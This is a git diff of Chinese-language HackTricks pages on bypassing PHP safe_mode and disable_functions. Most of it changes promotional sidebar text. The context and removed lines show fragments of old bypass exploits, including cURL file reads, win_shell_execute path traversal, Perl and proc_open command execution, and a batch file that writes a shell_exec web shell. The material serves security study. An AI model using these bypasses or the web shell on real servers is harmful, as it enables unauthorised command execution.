* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -43,16 +41,14 @@ win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,15 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -18,6 +17,7 @@
# PHP 5.2.4 和 5.2.5 PHP cURL
来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```
```text
source: http://www.securityfocus.com/bid/27413/info
@ -31,16 +31,14 @@ var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# PHP &lt;= 5.2.9 on windows
# PHP &lt;= 5.2.9 在windows上
来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
@ -74,14 +72,9 @@ echo "</center>";
</body>
</html>
```
{% tab title="cmd.bat" %}
```plaintext
@echo off
echo ^<?php echo shell_exec('cmd.exe /c %*'); ?^> > cmd.php
```
{% endtab %}
{% tab title="cmd.bat" %}
```
dir > abyss.txt
exit
@ -93,16 +86,14 @@ exit
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习AWS黑客技术直至高级水平通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# PHP Perl扩展安全模式绕过漏洞
# PHP Perl扩展 Safe\_mode 绕过漏洞利用
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
@ -45,16 +43,14 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>零基础学习 AWS 黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
# 通过proc_open()和自定义环境绕过PHP的safe_mode
# PHP safe\_mode 绕过通过 proc\_open\(\) 和自定义环境 Exploit
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
@ -31,16 +29,14 @@ while (!feof($a))
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品-[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
@ -146,16 +144,14 @@ echo "[-] Write failed. Exiting\n";
```
<details>
